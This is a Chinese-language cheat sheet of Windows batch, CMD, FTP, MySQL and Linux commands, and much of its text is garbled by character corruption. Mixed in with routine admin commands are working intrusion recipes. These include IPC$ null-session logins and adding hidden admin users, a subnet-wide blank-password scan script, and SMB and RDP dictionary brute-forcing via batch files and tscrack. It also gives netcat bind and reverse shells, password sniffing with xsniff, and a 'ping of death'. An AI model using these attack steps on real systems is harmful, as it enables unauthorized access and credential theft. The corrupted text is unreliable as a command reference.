批处理命令大全
hh.exe ntcmds.chm::/for.htm后台行~文件名为运X.vbs
set ws=wscript.createobject("wscript.shell")
ws.run "adsf.bat /start",0net config server /autodisconnect:1为为批为理命令 any.bat
net session /delete /y
1. gpedit.msc-----为策略
2. sndrec32-------为音机
3. Nslookup-------IP地址为为器 4. explorer-------打为为源管理器 5. logoff---------注为命令 6. tsshutdn-------60秒倒为为为机命令 7. lusrmgr.msc----本机用为和为 8. services.msc---本地服为为置 9. oobe/msoobe /a----为为XP是否激活 10. notepad--------打为为事本 11. cleanmgr-------整理 垃圾
12. net start messenger----为始信使服为 13. compmgmt.msc---为算机管理 14. net stop messenger-----停止信使服为 15. conf-----------为启netmeeting
16. dvdplay--------DVD播放器 17. charmap--------为字符映射
启
18. diskmgmt.msc---磁为管理为用程序 19. calc-----------为为算器 启
20. dfrg.msc-------磁为碎片整理程序 21. chkdsk.exe-----Chkdsk磁为为为 22. devmgmt.msc--- 为为管理器 23. regsvr32 /u *.dll----停止dll文件行 运
24. drwtsn32------ 系为生 医
25. rononce -p ----15秒为机 26. dxdiag---------为为DirectX信息 27. regedt32-------注表为为器 册
28. Msconfig.exe---系为配置为用程序 29. rsop.msc-------为策略为果集 30. mem.exe--------为示存使用情 内况
31. regedit.exe----注表 册
32. winchat--------XP自为局域聊天 网
33. progman--------程序管理器 34. winmsd---------系为信息
35. perfmon.msc----为算机性能为为程序 36. winver---------为为Windows版本 37. sfc /scannow-----为描为为为原 并
38. taskmgr-----任为管理器;2000,xp,2003 39. winver---------为为Windows版本 40. wmimgmt.msc----打为windows管理系为体构(WMI) 41. wupdmgr--------windows更新程序 42. wscript--------windows脚本宿主为置 43. write----------字板 写
44. winmsd---------系为信息
45. wiaacmgr-------为描为和照相机向为 46. winchat--------XP自为局域聊天 网
47. mem.exe--------为示存使用情 内况
48. Msconfig.exe---系为配置为用程序 49. mplayer2-------为易widnows media player
50. mspaint--------为板 画
51. mstsc----------为程面为接 桌
52. mplayer2-------媒播放机 体
53. magnify--------放大为为用程序 54. mmc------------打为控制台 55. mobsync--------同步命令
56. dxdiag---------为为DirectX信息 57. drwtsn32------ 系为生 医
58. devmgmt.msc--- 为为管理器 59. dfrg.msc-------磁为碎片整理程序 60. diskmgmt.msc---磁为管理为用程序 61. dcomcnfg-------打为系为为件服为 62. ddeshare-------打为DDE共享为置 63. dvdplay--------DVD播放器 64. net stop messenger-----停止信使服为 65. net start messenger----为始信使服为 66. notepad--------打为为事本 67. nslookup-------为管理的工具向为 网
68. ntbackup-------系为为和为原 份
69. narrator-------幕“为述人” 屏
70. ntmsmgr.msc----移为存为管理器 71. ntmsoprq.msc---移为存为管理为操作为求 72. netstat -an----(TC)命令为为接口 73. syncapp--------为建一公文包 个
74. sysedit--------系为配置为为器 75. sigverif-------文件为名为为程序
76. sndrec32-------为音机 77. shrpubw--------为建共享文件为 78. secpol.msc-----本地安全策略 79. syskey---------系为加密~一旦加密就不能解为~保为windows xp系为的重密为 双 80. services.msc---本地服为为置 81. Sndvol32-------音量控制程序 82. sfc.exe--------系为文件为为器 83. sfc /scannow---windows文件保为 84. tsshutdn-------60秒倒为为为机命令 85. tourstart------xp为介;安完成后出为的漫游装xp程序, 86. taskmgr--------任为管理器 87. eventvwr-------事件为看器 88. eudcedit-------造字程序 89. explorer-------打为为源管理器 90. packager-------为象包程序 装
91. perfmon.msc----为算机性能为为程序 92. progman--------程序管理器 93. regedit.exe----注表 册
94. rsop.msc-------为策略为果集 95. regedt32-------注表为为器 册
96. rononce -p ----15秒为机 97. regsvr32 /u *.dll----停止dll文件行 运
98. regsvr32 /u zipfldr.dll------取消ZIP支持
99. cmd.exe--------CMD命令提示符 100. chkdsk.exe-----Chkdsk磁为为为 101. certmgr.msc----为为管理为用程序 102. calc-----------为为算器 启
103. charmap--------为字符映射表 启
104. cliconfg-------SQL SERVER 客为端为为用程序 网
105. Clipbrd--------剪为板为看器 106. conf-----------为启netmeeting
107. compmgmt.msc---为算机管理 108. cleanmgr-------整理 垃圾
109. ciadv.msc------索引服为程序 110. osk------------打为幕为为 屏
111. odbcad32-------ODBC据源管理器 数
112. oobe/msoobe /a----为为XP是否激活 113. lusrmgr.msc----本机用为和为 114. logoff---------注为命令 115. iexpress-------木为为工具~系为自为 捆
116. Nslookup-------IP地址为为器 117. fsmgmt.msc-----共享文件为管理器 118. utilman--------为助工具管理器 119. explorer-------打为为源管理器
[为为本段]CMD命令操作为解
net use ipipc$ " " /user:" " 建立IPC空为接 net use ipipc$ "密为" /user:"用为名" 建立IPC非空为接 net use h: ipc$ "密为" /user:"用为名" 直接登为后映射为方C,到本地为H:
net use h: ipc$ 登为后映射为方C,到本地为H: net use ipipc$ /del 为除IPC为接
net use h: /del 为除映射为方到本地的为H:的映射 net user 用为名 密为 /add 建立用为
net user guest /active:yes 激活guest用为 net user 为看有些用为 哪
net user 为为名 为看为为的性 属
net localgroup administrators 用为名 /add 把“用为”添加到管理为中使其具有管理为为限
net start 为看为了些服为 启哪
net start 服为名 为服为~启(如:net start telnet~ net start schedule)
net stop 服为名 停止某服为
net time 目为ip 为看为方为为
net time 目为ip /set 为置本地为算机为为“目为与IP”主机的为为同步,加上参数/yes可取消为确信息
net view 为看本地局域为了为些共享 网内启哪
net view ip 为看为方局域为了为些共享 网内启哪
net config 为示系为为为置 网
net logoff 为为接的共享 断
net pause 服为名 为停某服为
net send ip "文本信息" 向为方为信息
net ver 局域正在使用的为为接为型和信息 网内网
net share 为看本地为的共享 启
net share ipc$ 为启ipc$共享
net share ipc$ /del 为除ipc$共享
net share c$ /del 为除C,共享
net user guest 12345 用guest用为登为后用密为改为将12345
net password 密为 更改系为登为密为
netstat -a 为看为了些端口启哪,常用netstat -an
netstat -n 为看端口的为为接情~常用网况netstat -an
netstat -v 为看正在为行的工作
netstat -p 为为名 例,netstat -p tcq/ip 为看某为为使用情 况
netstat -s 为看正在使用的所有为为使用情 况
nbtstat -A ip 为方136到139其中一端口为了的为~就可为看为方最近登为的用为名 个
tracert - 参数ip(或为算机名) 踪路跟数参数由;据包,~,“-w字”用数于为置超为为隔。 ping ip(或域名) 向为方主机为送默为大小为32字为的据~,“数参数-l[空格]据包大数小”~“-n为送数数据次”~“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(为送大于64K的文件一直并ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)为看本地ip地址~ipconfig
可用“参数/all”为示全部配置信息
tlist -t 以为行列表为示为程(为系为的附加工具~默为是有安的~在安目为的没装装
Support/tools文件为内)
kill -F 为程名 加-F参数后强制为束某为程(为系为的附加工具~默为是有安的~在安没装装目为的Support/tools文件为内)
del -F 文件名 加-F参数后就可为除只为文件,/AR、/AH、/AS、/AA分为表示为除只为、为藏、系为、存文件~档/A-R、/A-H、/A-S、/A-A表示为除除只为、为藏、系为、存档以外的文件。例如“DEL/AR *.*”表示为除当前目为下所有只为文件~“DEL/A-S *.*”表示为除当前目为下除系为文件以外的所有文件
del /S /Q 目为 或用,rmdir /s /Q 目为 /S为除目为及目为下的所有子目为和文件。同为使用参数/Q 可取消为除操作为的系为为就直接为除确个。;二命令作用相同,
move 为符路径径要移为的文件名 存放移为文件的路移为后文件名 移为文件,用参数/y取将消为移为目为存在相同文件的提示就直接确覆盖
fc one.txt two.txt > 3st.txt 为比二个并文件把不同之为为出到3st.txt文件中~"> "和"> >" 是重定向命令
at id 为号启册个划已注的某为为任为
at /delete 停止所有为任为~用划参数/yes为不需要确为就直接停止
at id 号/delete 停止某个册划已注的为任为
at 为看所有的为任为 划
at ip time 程序名(或一命令个) /r 在某为为行为方某程序重新为为算机 运并启
finger username @host 为看最近有些用为登为 哪
telnet ip 端口 为和登为服为器,默为端口为23
open ip 为接到IP;属telnet登为后的命令,
telnet 在本机上直接为入telnet 为将入本机的telnet
copy 路文件名径1 路文件名径2 /y 为制文件1到指定的目为为文件2~用参数/y就同为取消为确你写份要改一为为存目为文件
copy c:srv.exe ipadmin$ 为制本地c:srv.exe到为方的admin下
copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的容内藏身到1st.jpg中生成3st.jpg新的文件~注,2st.txt文件为要空三排~,参数/b指二为制文件~/a指ASCLL格式文件 copy ipadmin$svv.exe c: 或:copyipadmin$*.* 为制为方admini$共享下的srv.exe文件;所有文件,至本地C,
xcopy 要为制的文件或目为为 目为地址目为名 为制文件和目为为~用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板为为用肉机IP) get server.exe c:server.exe 登为后~“将IP”的server.exe下为到目为主机c:server.exe ,参数-i指以二为制模式为送~如为送exe文件为用~如不加-i 为以ASCII模式;为送文本文件模式,为行为送
tftp -i 为方IP put c:server.exe 登为后~上为本地c:server.exe至主机 ftp ip 端口 用于上为文件至服为器或为行文件操作~默为端口为21。bin指用二为制方式为送;可为行文件为,~默为为ASCII格式为送(文本文件为)
route print 为示出IP路由~主将网要为示为地址Network addres~子掩网为Netmask~为网地址Gateway addres~接口地址Interface
arp 为看和为理ARP为存~ARP是名字解析的意思~为为把一个IP解析成一个物理性的MAC地址。arp -a为示出全将部信息
start 程序名或命令 /max 或/min 新为一新口最大个窗并运化;最小化,行某程序或命令
mem 为看cpu使用情 况
attrib 文件名(目为名) 为看某文件;目为,的性 属
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存~档只为~系为~为藏 性~用属属,为是添加为某性
dir 为看文件~,参数/Q为示文件及目为系为用为~属哪个/T:C为示文件为建为为~/T:A为示文件上次被为为为为~/T:W上次被修改为为
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将当只为示前日期和为为~而不必为入新日期和为为
set 指定为境为量名称=要指派为为量的字符 为置为境为量
set 为示当前所有的为境为量
set p(或其字符它) 为示出当前以字符p(或其字符它)为为的所有为境为量 pause 为停批为理程序~为示出,为并按任意为为为....
if 在批为理程序中为行件为理;更条多为明为if命令及为量,
goto 为为 将cmd.exe为向到批为理程序中为为为的行;为为必为为一行~独号且以冒打为~例如,“,start”为为,
call 路批为理文件名 批为理程序中为用一批为理程序 ;更径从另个多为明为call /?, for 为一为文件中的每一文件为行某个个特定命令;更多为明为for命令及为量, echo on或off 打为或为为echo~为用echo不加为为示参数当前echo为置 echo 信息 在幕上为示出信息 屏
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中为字符找串hello
find 文件名 为某文件 找
title 为为名字 更改CMD口为为名字 窗
color 为色为 为置cmd控制台前景和背景为色~0,黑、1,为、2,为、3,浅为、4,为、5,紫、6,黄、7=白、8=灰、9=淡为、A,淡为、B=淡浅为、C=淡为、D=淡紫、E=淡、黄F=亮白 prompt 名 更改称cmd.exe的为示的命令提示符(把C:、D:为一改为,EntSky )二、ver 在DOS口窗下为示版本信息
winver 为出一口为示版本信息;存大个窗内小、系为版本、为丁版本、为算机名, format 为符 /FS:为型 格式化磁为,为型:FAT、FAT32、NTFS ,例,Format D: /FS:NTFS md 目为名 为建目为
replace 源文件 要替为文件的目为 替为文件
ren 原文件名 新文件名 重命名文件名
tree 以为形为为示出目为~用构参数-f 将个称列出第文件为中文件名
type 文件名 为示文本文件的容 内
more 文件名 逐屏为示为出文件
doskey 要为定的命令,字符
doskey 要解为命令= 为DOS提供的为定命令(为为命令行~重新为用win2k命令~为建并宏)。如,为定dir命令,doskey dir=entsky (不能用doskey dir=dir)~解为,doskey dir=
taskmgr 为出任为管理器
chkdsk /F D: 为为磁为D为示为为并状参数告~加/f并修为磁为上的为为 tlntadmn telnt服为admn,为入tlntadmn为为3~再为为8,就可以更改telnet服为默为端口23为其它任何端口
exit 退出cmd.exe程序或目前~用参数/B为是退出当前批为理脚本而不是cmd.exe
path 路可为行文件的文件名 为可为行文件为置一路径个径。
cmd 为一启个win2K命令解为口窗参数。,/eff、/en 为为、为命令为启展~更我为为为明为cmd /? regedit /s 注表文件名 为册册参数入注表~/S指安静模式为入~无任何提示~ regedit /e 注表文件名 为出注表 册册
cacls 文件名 为示或参数修改文件为为控制列表;ACL,为为——NTFS格式为。参数,/D 用为名:为定拒为某用为为为~/P 用为名:perm 替为指定用为的为为为限~/G 用为名:perm 为予指定用为为为为限~Perm 可以是: N 无~R 为取~ W 写入~ C 更改(写入)~F 完全控制~例,cacls D: est.txt /D pub 为定d: est.txt拒为pub用为为为。
cacls 文件名 为看文件的为为用为为限列表
REM 文本容 在批为理文件中添加注解 内
netsh 为看或更改本地为配置情网况
三、IIS服为命令
iisreset /reboot 重启win2k为算机;但有提示系为重信息出为, 将启
iisreset /start或stop 为;停止,所有启Internet服为
iisreset /restart 停止然后重新为所有启Internet服为
iisreset /status 为示所有Internet服为为 状
iisreset /enable或disable 在本地系为上用;启禁用,Internet服为的重新为 启 iisreset /rebootonerror 为当启启、停止或重新为Internet服为为~若为生为为重新为机 将 iisreset /noforce 若无法停止Internet服为~不将会强制为止Internet服为 iisreset /timeout Val在到达逾为为;秒,为~仍未停止Internet服为~若指定/rebootonerror
参数将会启~为为为重新为机。为为为为重新为20秒~停止60秒~重新为机0秒。 FTP 命令, (后面有为为为明内容)
ftp的命令行格式为:
ftp ,v ,d ,i ,n ,g[主机名] ,v 为示为程服为器的所有为信息响。 ,d 使用为为方式。
,n 限制ftp的自为登为,不使用即.netrc文件。
,g 取消全局文件名。
help [命令] 或 ,[命令] 为看命令为明
bye 或 quit 为止主机FTP为程,并退出FTP管理方式.
pwd 列出当前为端主机目为
put 或 send 本地文件名 [上为到主机上的文件名] 本地一文件为将个送至为端主机中 get 或 recv [为程主机文件名] [下为到本地后的文件名] 为端主机中为从送至本地主机中 mget [remote-files] 为端主机接从收一批文件至本地主机
mput local-files 本地主机中一批文件为将送至为端主机
dir 或 ls [remote-directory] [local-file] 列出当前为端主机目为中的文件.如果有本地文件,就为果将写至本地文件
ascii 为定以ASCII方式为送文件(缺省为)
bin 或 image 为定以二为制方式为送文件
bell 每完成一次文件为送,为警提示
cdup 返回上一为目为
close 中为程服为器的断与ftp为会(与open为为)
open host[port] 建立指定ftp服为器为接,可指定为接端口
delete 为除为端主机中的文件
mdelete [remote-files] 为除一批文件 mkdir directory-name 在为端主机中建立目为 rename [from] [to] 改为为端主机中的文件名 rmdir directory-name 为除为端主机中的目为 status 为示当前FTP的为 状
system 为示为端主机系为为型
user user-name [password] [account] 重新以为的用为名登为为端主机 open host [port] 重新建立一新的为接 个
prompt 交互提示模式
macdef 定为宏命令
lcd 改为当前本地主机的工作目为,如果缺省,就为到当前用为的HOME目为 chmod 改为为端主机的文件为限
case 为当ON为,用MGET命令拷为的文件名到本地机器中,全部为为为小写字母 cd remote,dir 为入为程主机目为
cdup 为入为程主机目为的父目为
! 在本地机中为行交互shell~exit回到ftp为境,如!ls,.zip #5
四、MYSQL 命令
mysql -h主机地址 -u用为名 ,p密为 为接MYSQL;如果为安装好MYSQL~超为用为root是
没有密为的。
;例,mysql -h110.110.110.110 -Uroot -P123456 注:u与root可以不用加空格~其它也一为,
exit 退出MYSQL
mysqladmin -u用为名 -p密为 旧password 新密为 修改密为 grant select on 据为数.* to 用为名@登为主机 identified by "密为"; 增加新用为。;注意,和上面不同~下面的因为是MYSQL为境中的命令~所以后面都为一个号分作为命令为束符, show databases; 为示据为数两个数列表。为为始为才据为,mysql和test。mysql为重很它要里面有MYSQL的系为信息~我为改密为和新增用为~为为上就是用为为为行操作个。 use mysql~
show tables; 为示为中的据表 数
describe 表名; 为示据表的为 数构
create database 为名; 建为
use 为名~
create table 表名 (字段为定列表)~ 建表
drop database 为名;
drop table 表名~ 为为和为表
delete from 表名; 表中为为空 将清
select * from 表名; 为示表中的为为
mysqldump --opt school>school.bbb 为据为,;命令在份数DOS的mysqlin目为下为行,;注为:据为将数school为到份school.bbb文件~school.bbb是一文本文件~文件名任取~打为看个
看有新为为你会。
win2003系为下新增命令;为用部份,,
shutdown / 为为或重本地或为程主机参数启。
为参数明,/S 为为主机~/R 重主机~ 启/T 字 为数定延为的为为~范为0,180秒之为~ /A取
消为机~/M //IP 指定的为程主机。
例,shutdown /r /t 0 立重本地主机;即启无延为, taskill / 为程名或为程的参数pid 为止一或个个多任为和为程。 为参数明,/PID 要为止为程的pid,可用tasklist命令为得各为程的pid~/IM 要为止的为程的为程
名~/F 强制为止为程~/T 为止指定的为程及他所为的启子为程。 tasklist 为示当运前行在本地和为程主机上的为程、服为、服为各为程的为程为为符(PID)。
为参数明,/M 列出当前为程加为的dll文件~/SVC 为示出每个参数为程为为的服为~无为就只
列出当前的为程。
五、Linux系为下基本命令
注,要分区写大小
uname 为示版本信息;同win2K的 ver,
dir 为示当前目为文件,ls -al 为示包括为藏文件;同win2K的 dir, pwd 为为当前所在的目为位置
cd cd ..回到上一为目为~注意cd 与..之为有空格。cd /返回到根目为。 cat 文件名 为看文件容 内
cat >abc.txt 往abc.txt文件中上容写内。
more 文件名 以一为一为的方式为示一文本文件个。 cp 为制文件
mv 移为文件
rm 文件名 为除文件~rm -a 目为名为除目为及子目为 mkdir 目为名 建立目为
rmdir 为除子目为~目为有文内没档。
chmod 为定案档或目为的存取为限
grep 在档找案中为字符串
diff 档案文件比为
find 档案搜为
date 为在的日期、为为
who 为为目前和使用同一台机器的人你以及Login为为地点 w 为为目前上机者的为为为料
whoami 为看自己的为名 号称
groups 为看某人的Group
passwd 更改密为
history 为看自己下为的命令
ps 为示为程为 状
kill 停止某为程
gcc 黑客通常用为为它来C为言写的文件
su 为限为为为指定使用者
telnet IP telnet为接为方主机;同win2K,~出为当bash$为就为明为接成功。 ftp ftp为接上某服为器;同win2K,
[为为本段]附注,批为理命令为量与
1,for命令及为量 基本格式
FOR / 参数%variable IN (set) DO command [command_parameters] %variable:指定一个参数为一字母可替为的~如,%i ~而指定一为量为用,个%%i ~而为用为量为用,%i% ~为量是区写分大小的;%i 不等于 %I,。
批为理每次能为理的为量从%0—%9共10~其中个%0默为为批为理文件名使用~%1默为为使用此批为理为为入的的第一为~同理,个%2—%9指为入的第2-9为~例,个net use ipipc$ pass
/user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一或一为文件~可使用个通配符~如,(D:user.txt)和(1 1 254)(1 -1 254),
{ “(1 1 254)”第一个"1"指起始为~第二个"1"指增为量~第三个"254"指为束为~,即从1到254~“(1 -1 254)”为明,即从254到1 }
command,指定为第个文件为行的命令~如,net use命令~如要为行多个命令为~命令为为加,& 来隔为
command_parameters,为特定命令指定参数或命令行为为
IN (set),指在(set)中取为~DO command ,指为行command
,参数/L 指用增量形式{ (set)为增量形式为 }~/F 指从断文件中不取为~直到取完为止{ (set)为文件为~如(d:pass.txt)为 }。
用法为例,
@echo off
echo 用法格式,test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 为明,为指定的一个C为段的网254个IP依次为建立administrator密为为空的IPC$为接~如果成功就把为IP存在test.txt中。
/L指用增量形式;即从1-254或254-1,~为入的IP前面三位,*.*.*为批为理默为的 %1~%%G 为为量(ip的最后一位,~& 用来隔为echo 和net use 为二个命令~| 指建立了ipc$后~在为果中用find为看是否有"命令成功完成"信息~%1.%%G 为完整的IP地址~(1 1 254) 指起始为~增为量~为止为。
@echo off
echo 用法格式,ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 存为,ok.exe 为明,为入一个IP后~用字典文件d:pass.dic来暴解d:user.dic中的用为密为~直到文件中为取完为止。%%i为用为名~%1为为入的IP地址;默为,。
七,
2,if命令及为量 基本格式
IF [not] errorlevel 字 命令为数运个数句 如果程序行最后返回一等于或大于指定字的退出为为~指定条真件为“”。
例,IF errorlevel 0 命令 指程序为行后返回的为为0为~就为行后面的命令~IF not errorlevel 1 命令指程序为行最后返回的为不等于1~就为行后面的命令。
0 指为为成并真功为行;,~1 指没没有为为、为行;假,。
IF [not] 字符串1==字符串2 命令为句 如果指定的文本字符串匹配;,字符即串1 等于 字符串2,~就为行后面的命令。
例,“if "%2%"=="4" goto start”指,如果为入的第二个为量为4为~为行后面的命令;注意,为用为量为就%为量名%并加" ",
IF [not] exist 文件名 命令为句 如果指定的文件名存在~就为行后面的命令。 例,“if not nc.exe goto end”指,如果有为为没nc.exe文件就跳到":end"为为为。 IF [not] errorlevel 字 命令为数句 else 命令为句或 IF [not] 字符串1==字符串2 命令为句 else 命令为句或 IF [not] exist 文件名 命令为句 else 命令为句 加上,else 命令为句后指,当条前面的件不成立为~就指行else后面的命令。注意,else 必为 与if 在同一行才有效。 有当del命令为需把del命令全部内容用< >括起来~因为del命令要为一行为独才能为行~用上< >后就等于是为一行了~例如,“独if exist test.txt.
else echo test.txt.missing ”~
注意命令中的“.”
[为为本段]系为外部命令
注,系为外部命令(均需下为相为工具)
1、瑞士为刀,nc.exe
为参数明,
-h 为看助信息 帮
-d 后台模式
-e prog程序重定向~一但为接就为行,危为,
-i secs延为的为隔
-l 为听模式~用于入站为接
-L 为听听模式~为接天为后仍然为为为~直到CTR+C
-n IP地址~不能用域名
-o film为为16为制的为为
-p[空格]端口 本地端口 号
-r 机本地随及为程端口
-t 使用Telnet交互方式
-u UDP模式
-v 为为为出~用-vv更为为 将
-w字 数timeout延为为隔
-z 为将入~为出为掉;用于为为为,
基本用法,
nc -nvv 192.168.0.1 80 为接到192.168.0.1主机的80端口 nc -l -p 80 为本机的启TCP 80端口为为 并听
nc -nvv -w2 -z 192.168.0.1 80-1024 为为192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 为定remote主机的cmdshell在remote的
TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向为接192.168.0.2的5354端口
高为用法,
nc -L -p 80 作为蜜罐用1,为不停地为启并听80端口~直到CTR+C为止 nc -L -p 80 > c:log.txt 作为蜜罐用2,为不停地为启并听80端口~直到CTR+C,同为把为果为出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1,为不停地为启并听80端口~直到CTR+C,把并c:honeyport.txt中容内送入管道中~亦可起到为送文件作用
type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2,为不停地为启并听80端口~直到
CTR+C,把并c:honeyport.txt中容内送入管道中,亦可起到为送文件作用 本机上用,nc -l -p 本机端口
在为方主机上用,nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向为接突破为方主机的防火为 本机上用,nc -d -l -p 本机端口 < 要为送的文件路径称及名
在为方主机上用,nc -vv 本机IP 本机端口 > 存放文件的路径称及名 为送文件到为方主机
为 注,
| 管道命令
< 或 > 重定向命令。“<”~例如,tlntadmn < test.txt 指把test.txt的容为为为内tlntadmn命令
, 表示为行,后面的命令~但不为示出;后台为行,~例,会来,dir c:winnt >> d:log.txt 意思是,后台为行dir~把为果存在并d:log.txt中
>与>>的为 区">"指,覆盖~">>"指,保存到(添加到,。
如,@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分为为行二次比为看,用>>的为是把二次的为果都保存了~而用,>为只有一次的为果~是因为第二次的为果把第一次的覆盖了。
八,
2、为为工具,xscan.exe
基本格式
xscan -host <起始IP>[-<为止IP>] <为为为目> [其他为为] 为为"起始IP到为止IP"段的所有主机信息
xscan -file <主机列表文件名> <为为为目> [其他为为] 为为"主机IP列表文件名"中的所有主机信息
为为为目
-active 为为主机是否存活
-os 为为为程操作系为为型;通为NETBIOS和SNMP为为,
-port 为为常用服为的端口为 状
-ftp 为为FTP弱口令
-pub 为为FTP服为匿名用为为限 写
-pop3 为为POP3-Server弱口令
-smtp 为为SMTP-Server漏洞
-sql 为为SQL-Server弱口令
-smb 为为NT-Server弱口令
-iis 为为IIS为为/解为漏洞
-cgi 为为CGI漏洞
-nasl 加为Nessus攻为脚本
-all 为为以上所有为目
其为为 它
-i 适配器为 为置为号网适配器, <适配器为号>可通为"-l"为取 参数
-l 为示所有为网适配器
-v 为示为为为描为度
-p 跳为有为的主机 没响
-o 跳为有为为到为放端口的主机 没
-t 为为程量并数,为主机量 并数并数并数指定最大为为程量和为主机量, 默为量为数100,10 -log 文件名 指定为描为告文件名 (后为为,TXT或HTML格式的文件) 用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 为为192.168.1.1-
192.168.255.255段主机的所有网内响漏洞~跳为无为的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 为为192.168.1.1-
192.168.255.255段主机的为网内状准端口为~NT弱口令用为~最大为为程量为并数150~跳为有没为为到为放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 为为“hostlist.txt”文件中列出的所有主机的为准端口为~状CGI漏洞~最大为为程量为并数200~同一为刻最多为为5台主机~为示为为为为为度~跳为有为为到为放端口的主机没
九,
3、命令行方式嗅探器: xsniff.exe
可捕为局域网内FTP/SMTP/POP3/HTTP为为密为
为参数明
-tcp 为出TCP据为 数
-udp 为出UDP据为 数
-icmp 为出ICMP据为 数
-pass 为为密为信息
-hide 后台行 运
-host 解析主机名
-addr IP地址 为为IP地址
-port 端口 为为端口
-log 文件名 为出保存到文件 将
-asc 以ASCII形式为出
-hex 以16为制形式为出
用法示例
xsniff.exe -pass -hide -log pass.log 后台行运并将嗅探密为密为信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1为为并tcp和udp信息并以ASCII格式为出
4、为端服为密为破解: tscrack.exe
为参数明
-h 为示使用助 帮
-v 为示版本信息
-s 在幕上打出解密能屏力
-b 密为为为为为出的音 声
-t 同是为出多个为接;多为程,
-N Prevent System Log entries on targeted server
-U 为移除卸tscrack为件
-f 使用,f后面的密为
-F 为隔为为;为率,
-l 使用,l后面的用为名
-w 使用,w后面的密为字典
-p 使用,p后面的密为
-D 登为主为面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 为程用密为字典文件暴破主机的administrator的登为密为
tscrack 192.168.0.1 -l administrator -p 123456 用密为123456为程登为192.168.0.1的
administrator用为
@if not exist ipcscan.txt goto noscan @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i nscan
@echo 3389.txt no find or scan faild (?存为3389.bat) ;假为为有用SuperScan或其为为器为到一批为有它3389的主机IP列表文件3389.txt)
3389.bat意思是,从3389.txt文件中取一个IP~接着运行hack.bat @if not exist tscrack.exe goto noscan @tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild (?存为hack.bat) (行运3389.bat就OK~且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一目为个下~就可以等待为果了)
hack.bat意思是,行运tscrack.exe用字典暴破3389.txt中所有主机的administrator密为~
并将破解为果保存在rouji.txt文件中。
5、其它
Shutdown.exe
Shutdown IP地址 t:20 20秒后为方将NT自为为为;Windows 2003系为自为工具~在Windows2000下用为就得下为此工具才能用。在前面Windows 2003 DOS命令中有为为介为。, fpipe.exe (TCP端口重定向工具) 在第二篇中有为为为明;端口重定向为为防火为, fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 有人为为的当你80端口为~他为到的为果完会全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目为IP 把本机向目为IP为送的23端口Telnet为求为端口重定向后~就通为88端口为送到目为IP的23端口。;目为与IP建立Telnet为本机就用的88端口其相为与接,然后,直接Telnet 127.0.0.1;本机IP,就为接到目为IP的23端口了。 OpenTelnet.exe (为程为启telnet工具)
opentelnet.exe IP 为 密为 号ntlm为为方式 Telnet端口 ;不需要上为ntlm.exe破微坏为的身份启为为方式,直接为程为为方的telnet服为后~就可用telnet ip 为接上为方。
NTLM为为方式,,,不使用NTLM身份为为~,,先为为NTLM身份为为~如果失为~再使用用为名和密为~,,只使用NTLM身份为为。
ResumeTelnet.exe (OpenTelnet附为的一工具另个)
resumetelnet.exe IP 为 密为 用号Telnet为接完为方后~就用为命令为方的个将Telnet为置为原~同为为为并Telnet服为。
十,
6、FTP命令为解
FTP命令是Internet用为使用最为繁的命令之一~熟悉并灵活为用FTP的内部命令~可以大大方便使用者~并你学收到事半功倍之效。如果想为使用为行后台FTP下为~那为就必为为学FTP指令。
FTP的命令行格式为,
ftp -v -d -i -n -g [主机名] ~其中
-v 为示为程服为器的所有为信息响
-n 限制ftp的自为登为~不使用~即.n etrc文件~
-d 使用为为方式~
-g 取消全局文件名。
FTP使用的内部命令如下(中括号表示可为为):
1.![cmd[args]],在本地机中为行交互shell~exit回到ftp为境~如,!ls*.zip 2.$ macro-ame[args], 为行宏定为macro-name。
3.account[password], 提供登为为程系为成功后为为系为为源所需的为充口令。 4.append local-file[remote-file],本地文件将追加到为程系为主机~若未指定为程系为文件名~为使用本地文件名。
5.ascii,使用ascii为型为为方式。
6.bell,每个响命令为行完为后为算机为一次。
7.bin,使用二为制文件为为方式。
8.bye,退出ftp为为程会。
9.case,在使用mget为~为程主机文件名中的大为为将写写小字母。
10.cd remote-dir,为入为程主机目为。
11.cdup,为入为程主机目为的父目为。
12.chmod mode file-name,为程主机文件将file-name的存取方式为置为mode~如,chmod 777 a.out。
13.close,中为程服为器的断与ftp为会(与open为为)。
14.cr,使用asscii方式为为文件为~将回为为行为为为回行。
15.delete remote-file,为除为程主机文件。
16.debug[debug-value],为置为为方式~ 为示为送至为程主机的每条命令~如,deb up 3~若为为0~表示取消debug。
17.dir[remote-dir][local-file],为示为程主机目为~为果存并将入本地文件。 18.disconnection,同close。
19.form format,文件为为方将式为置为format~缺省为file方式。
